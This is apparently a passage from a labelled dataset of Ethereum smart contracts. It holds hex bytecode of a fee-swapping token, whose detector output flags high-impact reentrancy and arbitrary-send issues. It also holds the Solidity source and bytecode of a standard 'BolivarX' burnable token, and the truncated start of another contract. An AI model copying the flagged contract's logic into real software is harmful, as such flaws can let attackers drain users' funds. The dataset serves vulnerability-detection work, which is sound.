ffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b600c6009819055506005600881905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c06550cbcf8d04adbf9a296885b24a8aaabfd826a6aa340fe62a1b9518ae160c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,559 |
0x3600C80BC594Be130606e7e6b609C1cc6D7Ab7bB
|
pragma solidity 0.4.21;
/**
BEGIN IMPORTED CONTRACTS
*/
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
END IMPORTED CONTRACTS
*/
/**
* @title BolivarX
* @dev This is Standard, Ownable and Burnable token. www.bolivarx.com
*/
contract bsx is StandardBurnableToken, Ownable {
string public name;
string public symbol;
uint256 public decimals = 18;
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function bsx (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply_ = initialSupply * 10 ** decimals; // Update total supply with the decimal amount
balances[msg.sender] = totalSupply_; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
}
|
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101aa57806323b872dd146101cf578063313ce567146101f757806342966c681461020a578063661884631461022257806370a0823114610244578063715018a61461026357806379cc6790146102765780638da5cb5b1461029857806395d89b41146102c7578063a9059cbb146102da578063d73dd623146102fc578063dd62ed3e1461031e578063f2fde38b14610343575b600080fd5b34156100f557600080fd5b6100fd610362565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610139578082015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017f57600080fd5b610196600160a060020a0360043516602435610400565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101bd61046c565b60405190815260200160405180910390f35b34156101da57600080fd5b610196600160a060020a0360043581169060243516604435610472565b341561020257600080fd5b6101bd6105f2565b341561021557600080fd5b6102206004356105f8565b005b341561022d57600080fd5b610196600160a060020a0360043516602435610605565b341561024f57600080fd5b6101bd600160a060020a03600435166106ff565b341561026e57600080fd5b61022061071a565b341561028157600080fd5b610220600160a060020a036004351660243561078c565b34156102a357600080fd5b6102ab61082b565b604051600160a060020a03909116815260200160405180910390f35b34156102d257600080fd5b6100fd61083a565b34156102e557600080fd5b610196600160a060020a03600435166024356108a5565b341561030757600080fd5b610196600160a060020a03600435166024356109b7565b341561032957600080fd5b6101bd600160a060020a0360043581169060243516610a5b565b341561034e57600080fd5b610220600160a060020a0360043516610a86565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103f85780601f106103cd576101008083540402835291602001916103f8565b820191906000526020600020905b8154815290600101906020018083116103db57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561048957600080fd5b600160a060020a0384166000908152602081905260409020548211156104ae57600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156104e157600080fd5b600160a060020a03841660009081526020819052604090205461050a908363ffffffff610aaa16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461053f908363ffffffff610abc16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610585908363ffffffff610aaa16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60065481565b6106023382610acf565b50565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561066257600160a060020a033381166000908152600260209081526040808320938816835292905290812055610699565b610672818463ffffffff610aaa16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a0390811691161461073557600080fd5b600354600160a060020a03167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600160a060020a03808316600090815260026020908152604080832033909416835292905220548111156107bf57600080fd5b600160a060020a03808316600090815260026020908152604080832033909416835292905220546107f6908263ffffffff610aaa16565b600160a060020a03808416600090815260026020908152604080832033909416835292905220556108278282610acf565b5050565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103f85780601f106103cd576101008083540402835291602001916103f8565b6000600160a060020a03831615156108bc57600080fd5b600160a060020a0333166000908152602081905260409020548211156108e157600080fd5b600160a060020a03331660009081526020819052604090205461090a908363ffffffff610aaa16565b600160a060020a03338116600090815260208190526040808220939093559085168152205461093f908363ffffffff610abc16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546109ef908363ffffffff610abc16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610aa157600080fd5b61060281610bcc565b600082821115610ab657fe5b50900390565b81810182811015610ac957fe5b92915050565b600160a060020a038216600090815260208190526040902054811115610af457600080fd5b600160a060020a038216600090815260208190526040902054610b1d908263ffffffff610aaa16565b600160a060020a038316600090815260208190526040902055600154610b49908263ffffffff610aaa16565b600155600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a26000600160a060020a0383167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050565b600160a060020a0381161515610be157600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a7230582055f7790c94e22c2f831a540556cc469bf19d0f7bbed987cc3cd3fe9573822f960029
|
{"success": true, "error": null, "results": {}}
| 3,560 |
0xf3e1f5d6f96ea9afbf1f6c10040da627055f28e2
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
